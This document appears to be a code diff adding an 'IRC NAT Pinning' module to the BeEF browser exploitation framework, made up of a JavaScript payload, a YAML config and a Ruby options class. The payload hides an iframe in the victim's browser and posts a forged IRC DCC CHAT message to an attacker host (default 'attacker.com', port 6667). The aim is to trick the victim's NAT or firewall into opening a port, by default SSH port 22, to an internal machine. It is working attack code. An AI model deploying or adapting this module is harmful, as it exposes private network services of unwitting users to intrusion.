nat pinning

modules/network/nat_pinning_irc/command.js

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+//
+//   Copyright 2012 Wade Alcorn wade@bindshell.net
+//
+//   Licensed under the Apache License, Version 2.0 (the "License");
+//   you may not use this file except in compliance with the License.
+//   You may obtain a copy of the License at
+//
+//       http://www.apache.org/licenses/LICENSE-2.0
+//
+//   Unless required by applicable law or agreed to in writing, software
+//   distributed under the License is distributed on an "AS IS" BASIS,
+//   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+//   See the License for the specific language governing permissions and
+//   limitations under the License.
+//
+beef.execute(function() {
+  var privateip = '<%= @privateip %>';
+  var privateport = '<%= @privateport %>';
+  var connectto = '<%= @connectto %>';
+
+  function dot2dec(dot){
+    var d = dot.split('.');
+    return (((+d[0])*256+(+d[1]))*256+(+d[2]))*256+(+d[3]);
+  }
+ 
+  //send a request
+  function send_msg(privateip,privateport,connectto){
+    
+    //create hidden iFrame
+    var iframe = document.createElement("iframe");
+    iframe.setAttribute("id","irc_nat_pinning_<%= @command_id %>");
+    iframe.setAttribute("style", "visibility:hidden; width:1px; height: 1px;");
+    document.body.appendChild(iframe);
+    iframe = document.getElementById("irc_nat_pinning_<%= @command_id %>");
+
+
+    //create form
+    var action = connectto + ":6667/"
+    var myform = document.createElement("form");
+    myform.setAttribute("name", "data");
+    myform.setAttribute("method", "post");
+    myform.setAttribute("enctype", "multipart/form-data");
+    myform.setAttribute("action", action);
+    iframe.contentWindow.document.body.appendChild(myform);
+
+    //create message, refer Samy Kamkar (http://samy.pl/natpin/)
+    x = String.fromCharCode(1);
+    var s = 'PRIVMSG beef :'+x+'DCC CHAT beef '+dot2dec(privateip)+' '+privateport+x+"\n";
+
+    //create message textarea
+    var myExt = document.createElement("textarea");
+    myExt.setAttribute("id","msg_<%= @command_id %>");
+    myExt.setAttribute("name","msg_<%= @command_id %>");
+    myform.appendChild(myExt);
+
+    //send message
+    iframe.contentWindow.document.getElementById("msg_<%= @command_id %>").value = s;
+    myform.submit(); 
+    alert(s);
+    
+    //clean up
+    setTimeout('document.body.removeChild(document.getElementById("irc_nat_pinning_<%= @command_id %>"));', 15000);
+  } 
+
+  send_msg(privateip,privateport,connectto);
+  beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Message sent');
+
+});

modules/network/nat_pinning_irc/config.yaml

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+#
+#   Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+#   Licensed under the Apache License, Version 2.0 (the "License");
+#   you may not use this file except in compliance with the License.
+#   You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+#   Unless required by applicable law or agreed to in writing, software
+#   distributed under the License is distributed on an "AS IS" BASIS,
+#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#   See the License for the specific language governing permissions and
+#   limitations under the License.
+#
+beef:
+    module:
+        irc_nat_pinning:
+            enable: true
+            category: "Network"
+            name: "IRC NAT Pinning" 
+            description: "Attempts to open closed ports on statefull firewalls and attempts to create pinholes on NAT-devices.  The firewall/NAT-device must support IRC connection tracking.  On the attackers side the TCP connection just needs to be accepted.  Then you can connect to the victims public IP on that port.  For more information, please refer to: <a href='http://samy.pl/natpin/'>http://samy.pl/natpin/</a> ."
+            authors: ["Bart Leppens"]
+            target:
+                working: ["FF"]

modules/network/nat_pinning_irc/module.rb

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+#
+#   Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+#   Licensed under the Apache License, Version 2.0 (the "License");
+#   you may not use this file except in compliance with the License.
+#   You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+#   Unless required by applicable law or agreed to in writing, software
+#   distributed under the License is distributed on an "AS IS" BASIS,
+#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#   See the License for the specific language governing permissions and
+#   limitations under the License.
+#
+class Irc_nat_pinning < BeEF::Core::Command
+  
+  def self.options
+    return [
+        {'name'=>'connectto', 'ui_label' =>'Connect to','value'=>'http://attacker.com'},
+        {'name'=>'privateip', 'ui_label' =>'Private IP','value'=>'192.168.0.100'},
+        {'name'=>'privateport', 'ui_label' =>'Private Port','value'=>'22'}
+    ]
+  end
+  
+  def post_execute
+    return if @datastore['result'].nil?
+    
+    save({'result' => @datastore['result']})
+  end
+  
+end